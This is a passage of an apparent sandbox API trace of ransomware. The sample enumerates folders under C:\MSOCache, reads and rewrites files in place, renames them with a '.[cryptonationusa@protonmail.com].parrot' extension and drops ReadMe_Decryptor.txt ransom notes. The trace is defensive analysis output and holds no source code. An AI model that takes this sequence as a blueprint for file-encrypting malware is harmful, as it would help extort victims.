ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa7d90a60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0038.494] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb688 [0038.494] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb688 | out: hHeap=0x540000) returned 1 [0038.495] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0038.495] FindNextFileW (in: hFindFile=0x562370, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xa7d6a900, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xa18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="SETUPX~1.PAR")) returned 1 [0038.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x28d8c68 [0038.495] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d8c68 | out: hHeap=0x540000) returned 1 [0038.495] lstrcmpW (lpString1="Setup.xml.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned 1 [0038.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5bb0f0 [0038.495] FindNextFileW (in: hFindFile=0x562370, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xa7d6a900, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xa18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="SETUPX~1.PAR")) returned 0 [0038.495] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d8cf0 | out: hHeap=0x540000) returned 1 [0038.495] FindClose (in: hFindFile=0x562370 | out: hFindFile=0x562370) returned 1 [0038.495] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5622e8 | out: hHeap=0x540000) returned 1 [0038.495] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~2")) returned 1 [0038.495] lstrcmpW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0038.495] lstrcmpW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0038.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x28d10a0 [0038.495] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d10a0 | out: hHeap=0x540000) returned 1 [0038.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5605d0 [0038.495] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5605d0 | out: hHeap=0x540000) returned 1 [0038.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5605d0 [0038.495] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5605d0 | out: hHeap=0x540000) returned 1 [0038.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x28d10a0 [0038.495] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d10a0 | out: hHeap=0x540000) returned 1 [0038.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d8e08 [0038.495] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d8e08 | out: hHeap=0x540000) returned 1 [0038.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d8e08 [0038.495] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d8e08 | out: hHeap=0x540000) returned 1 [0038.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5622e8 [0038.495] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5622e8 | out: hHeap=0x540000) returned 1 [0038.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5605d0 [0038.495] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5605d0 | out: hHeap=0x540000) returned 1 [0038.495] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5605d0 [0038.495] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5605d0 | out: hHeap=0x540000) returned 1 [0038.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5605d0 [0038.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5605d0 | out: hHeap=0x540000) returned 1 [0038.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5605d0 [0038.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5605d0 | out: hHeap=0x540000) returned 1 [0038.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5605d0 [0038.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5605d0 | out: hHeap=0x540000) returned 1 [0038.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x28d10a0 [0038.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d10a0 | out: hHeap=0x540000) returned 1 [0038.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x28d10a0 [0038.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d10a0 | out: hHeap=0x540000) returned 1 [0038.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x28d10a0 [0038.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d10a0 | out: hHeap=0x540000) returned 1 [0038.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb688 [0038.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb688 | out: hHeap=0x540000) returned 1 [0038.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x28d10a0 [0038.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d10a0 | out: hHeap=0x540000) returned 1 [0038.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d8e08 [0038.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb688 [0038.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5622e8 [0038.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb688 | out: hHeap=0x540000) returned 1 [0038.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562260 | out: hHeap=0x540000) returned 1 [0038.496] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d8e08 | out: hHeap=0x540000) returned 1 [0038.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x562260 [0038.496] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x28d9df0 [0038.496] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x0, lpFindFileData=0x235f2a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f2a0) returned 0x562370 [0038.499] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0038.499] FindNextFileW (in: hFindFile=0x562370, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.499] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0038.499] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0038.499] FindNextFileW (in: hFindFile=0x562370, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi", cAlternateFileName="POWERP~1.MSI")) returned 1 [0038.499] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb688 [0038.499] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb688 | out: hHeap=0x540000) returned 1 [0038.499] lstrcmpW (lpString1="PowerPointMUI.msi", lpString2="ReadMe_Decryptor.txt") returned -1 [0038.499] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0038.499] GetFileSize (in: hFile=0x1b0, lpFileSizeHigh=0x235f264 | out: lpFileSizeHigh=0x235f264*=0x0) returned 0x263400 [0038.499] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x263518, nNumberOfBytesToLockHigh=0x0) returned 1 [0038.499] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0038.500] ReadFile (in: hFile=0x1b0, lpBuffer=0x235f244, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x235f244*, lpNumberOfBytesRead=0x235f1e8*=0x18, lpOverlapped=0x0) returned 1 [0038.502] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0038.502] ReadFile (in: hFile=0x1b0, lpBuffer=0x27c0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x27c0040*, lpNumberOfBytesRead=0x235f1e8*=0x100000, lpOverlapped=0x0) returned 1 [0038.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bcb8 [0038.513] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bcb8 | out: hHeap=0x540000) returned 1 [0038.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x28d17c0 [0038.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x28d2d18 [0038.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb688 [0038.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x28ea010 [0038.513] GetLastError () returned 0x0 [0038.513] SetLastError (dwErrCode=0x0) [0038.513] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb688 | out: hHeap=0x540000) returned 1 [0038.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5516b8 [0038.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x28d2d00 [0038.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a328 [0038.513] GetLastError () returned 0x0 [0038.513] SetLastError (dwErrCode=0x0) [0038.513] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a328 | out: hHeap=0x540000) returned 1 [0038.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb688 [0038.513] GetLastError () returned 0x0 [0038.513] SetLastError (dwErrCode=0x0) [0038.513] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb688 | out: hHeap=0x540000) returned 1 [0038.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb688 [0038.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x28d2d30 [0038.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x28eb228 [0038.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x28ec230 [0038.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x28ed270 [0038.513] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ec230 | out: hHeap=0x540000) returned 1 [0038.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x28ef2b0 [0038.513] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ed270 | out: hHeap=0x540000) returned 1 [0038.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x28f32f0 [0038.514] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ef2b0 | out: hHeap=0x540000) returned 1 [0038.678] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10033) returned 0x28fb330 [0038.678] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28f32f0 | out: hHeap=0x540000) returned 1 [0038.679] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20033) returned 0x5bbfc0 [0038.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fb330 | out: hHeap=0x540000) returned 1 [0038.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40033) returned 0x28ec230 [0038.683] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0038.684] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80033) returned 0x29d0020 [0038.688] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ec230 | out: hHeap=0x540000) returned 1 [0038.692] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100033) returned 0x2ba0020 [0038.700] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x29d0020 | out: hHeap=0x540000) returned 1 [0038.711] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d2d30 | out: hHeap=0x540000) returned 1 [0038.711] GetLastError () returned 0x0 [0038.711] SetLastError (dwErrCode=0x0) [0038.711] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb688 | out: hHeap=0x540000) returned 1 [0038.711] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28eb228 | out: hHeap=0x540000) returned 1 [0038.711] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d2d00 | out: hHeap=0x540000) returned 1 [0038.711] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5516b8 | out: hHeap=0x540000) returned 1 [0038.711] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d2d18 | out: hHeap=0x540000) returned 1 [0038.711] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d17c0 | out: hHeap=0x540000) returned 1 [0038.711] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ea010 | out: hHeap=0x540000) returned 1 [0038.711] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x28d8c68 [0038.711] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0038.711] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d8c68 | out: hHeap=0x540000) returned 1 [0038.711] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0038.711] WriteFile (in: hFile=0x1b0, lpBuffer=0x5bbfc0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x5bbfc0*, lpNumberOfBytesWritten=0x235f1e8*=0x118, lpOverlapped=0x0) returned 1 [0038.711] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0038.711] WriteFile (in: hFile=0x1b0, lpBuffer=0x2ba0040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x2ba0040*, lpNumberOfBytesWritten=0x235f1e8*=0x100000, lpOverlapped=0x0) returned 1 [0038.714] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x263518, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0038.714] CloseHandle (hObject=0x1b0) returned 1 [0039.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559ae8 [0039.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x106) returned 0x5e35d0 [0040.041] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559ae8 | out: hHeap=0x540000) returned 1 [0040.044] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0040.045] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e35d0 | out: hHeap=0x540000) returned 1 [0040.045] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0040.045] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2ba0020 | out: hHeap=0x540000) returned 1 [0040.522] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5dcba0 [0040.525] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559ba0 [0040.527] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bcf8 [0040.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bd08 [0040.543] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\ReadMe_Decryptor.txt" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x235efdc, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x24c [0040.558] GetFileType (hFile=0x24c) returned 0x1 [0040.560] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5f37e8 [0040.804] lstrcmpW (lpString1="PowerPointMUI.xml", lpString2="ReadMe_Decryptor.txt") returned -1 [0040.804] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x24c [0040.805] GetFileSize (in: hFile=0x24c, lpFileSizeHigh=0x235f264 | out: lpFileSizeHigh=0x235f264*=0x0) returned 0x5aa [0040.805] LockFile (hFile=0x24c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6c2, nNumberOfBytesToLockHigh=0x0) returned 1 [0040.805] SetFilePointerEx (in: hFile=0x24c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0040.805] ReadFile (in: hFile=0x24c, lpBuffer=0x235f244, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x235f244*, lpNumberOfBytesRead=0x235f1e8*=0x18, lpOverlapped=0x0) returned 1 [0040.807] SetFilePointerEx (in: hFile=0x24c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0040.808] ReadFile (in: hFile=0x24c, lpBuffer=0x27c0040, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x27c0040*, lpNumberOfBytesRead=0x235f1e8*=0x5aa, lpOverlapped=0x0) returned 1 [0040.811] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bcf8 [0040.814] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bcf8 | out: hHeap=0x540000) returned 1 [0040.817] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e95c0 [0040.817] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4cb8 [0040.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5e8810 [0040.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x5fb750 [0040.820] GetLastError () returned 0x0 [0040.820] SetLastError (dwErrCode=0x0) [0040.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e8810 | out: hHeap=0x540000) returned 1 [0040.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e75a0 [0040.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4cd0 [0040.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x5f51f0 [0040.822] GetLastError () returned 0x0 [0040.823] SetLastError (dwErrCode=0x0) [0040.823] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f51f0 | out: hHeap=0x540000) returned 1 [0040.823] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5e8810 [0040.823] GetLastError () returned 0x0 [0040.823] SetLastError (dwErrCode=0x0) [0040.823] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e8810 | out: hHeap=0x540000) returned 1 [0040.823] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5e8810 [0040.825] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4ce8 [0040.825] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5f37e8 [0041.063] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5b0) returned 0x5fce88 [0041.063] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5f4d00 [0041.063] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb50) returned 0x5fd440 [0041.063] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fce88 | out: hHeap=0x540000) returned 1 [0041.063] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4ce8 | out: hHeap=0x540000) returned 1 [0041.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4d00 | out: hHeap=0x540000) returned 1 [0041.064] GetLastError () returned 0x0 [0041.064] SetLastError (dwErrCode=0x0) [0041.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e8810 | out: hHeap=0x540000) returned 1 [0041.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f37e8 | out: hHeap=0x540000) returned 1 [0041.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4cd0 | out: hHeap=0x540000) returned 1 [0041.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e75a0 | out: hHeap=0x540000) returned 1 [0041.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4cb8 | out: hHeap=0x540000) returned 1 [0041.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e95c0 | out: hHeap=0x540000) returned 1 [0041.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fb750 | out: hHeap=0x540000) returned 1 [0041.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x5fce88 [0041.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5fcf90 [0041.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fce88 | out: hHeap=0x540000) returned 1 [0041.064] SetFilePointerEx (in: hFile=0x24c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0041.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bcf8 [0041.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bd08 [0041.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bcf8 | out: hHeap=0x540000) returned 1 [0041.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bcf8 [0041.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd08 | out: hHeap=0x540000) returned 1 [0041.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bd08 [0041.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bcf8 | out: hHeap=0x540000) returned 1 [0041.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bcf8 [0041.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd08 | out: hHeap=0x540000) returned 1 [0041.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4cb8 [0041.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bcf8 | out: hHeap=0x540000) returned 1 [0041.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4cd0 [0041.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4cb8 | out: hHeap=0x540000) returned 1 [0041.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x5f5270 [0041.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4cd0 | out: hHeap=0x540000) returned 1 [0041.064] RtlAllocateHeap 